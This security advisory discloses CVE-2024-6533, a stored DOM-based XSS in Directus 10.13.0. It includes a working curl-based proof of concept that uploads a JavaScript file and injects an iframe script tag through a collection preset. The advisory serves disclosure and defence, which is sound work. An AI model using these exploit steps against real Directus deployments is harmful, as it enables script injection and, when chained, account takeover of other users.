Bocelli

CVE-2024-6533 (Public)

Fluid Attacks Pentester

Miguel Gómez

Directus 10.13.0 - DOM-based XSS

5.4

Medium

Affects: Directus 10.13.0

Package: Directus

Published date: Aug 14, 2024

Summary

Description

Directus v10.13.0 allows an authenticated external attacker to execute arbitrary JavaScript on the client. This is possible because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element. When chained with CVE-2024-6534, it could result in account takeover.

Vulnerability

This vulnerability occurs because the application injects an attacker-controlled parameter that will be stored in the server and used by the client into an unsanitized DOM element.

Exploit

To exploit this vulnerability, we need to do the following steps using a non-administrative, default role attacker account.

1. Upload the following JavaScript file.

   Using the upload functionality at POST /files. This PoC will show an alert message.

   export TARGET_HOST="http://localhost:8055"
   export ATTACKER_EMAIL="malicious@malicious.com"
   export ATTACKER_PASSWORD="123456"
   root_dir=$(dirname $0)
   mkdir "${root_dir}/static"
    
   curl -s -k -o /dev/null -w "%{http_code}" -X 'POST' "${TARGET_HOST}/auth/login" \
       -c "${root_dir}/static/attacker_directus_session_token" \
       -H 'Content-Type: application/json' \
       -d "{\"email\":\"${ATTACKER_EMAIL}\",\"password\":\"${ATTACKER_PASSWORD}\",\"mode\":\"session\"}"
    
   id_url_file=$(echo "alert('Successful DOM-based XSS')" |
     curl -s -k -X 'POST' "${TARGET_HOST}/files" \
       -b "${root_dir}/static/attacker_directus_session_token" \
       -F "file=@-;type=application/x-javascript;filename=poc.js" | jq -r ".data.id")

2. Create a preset for a collection and store the preset ID or use a preset already created from GET /presets. The following example uses the direct_users preset.

   attacker_user_id=$(curl -s -k "${TARGET_HOST}/users/me" \
   -b "${root_dir}/static/attacker_directus_session_token" | jq -r ".data.id")
    
   curl -i -s -k -X 'POST' "${TARGET_HOST}/presets" \
   -H 'Content-Type: application/json' \
   -b "${root_dir}/static/attacker_directus_session_token" \
   --data-binary "{\"layout\":\"cards\",\"bookmark\":null,\"role\":null,\"user\":\"${attacker_user_id}\",\"search\":null,\"filter\":null,\"layout_query\":{\"cards\":{\"sort\":[\"email\"]}},\"layout_options\":{\"cards\":{\"icon\":\"account_circle\",\"title\":\"<iframe srcdoc=\\\"<script src='http://localhost:8055/assets/${id_url_file}'> </script>\\\">\",\"subtitle\":\"{{ email }}\",\"size\":4}},\"refresh_interval\":null,\"icon\":\"bookmark\",\"color\":null,\"collection\":\"directus_users\"}"

   When the user visits the view that uses the directus_users preset, the JavaScript file will be executed.

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2024-6533 to refer to this issue from now on.

Disclosure policy 

System Information

• Version: Directus 10.13.0
• Operating System: Any

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page: https://directus.io/ 

Credits

The vulnerability was discovered by Miguel Gomez  from Fluid Attacks’ Offensive Team.

Timeline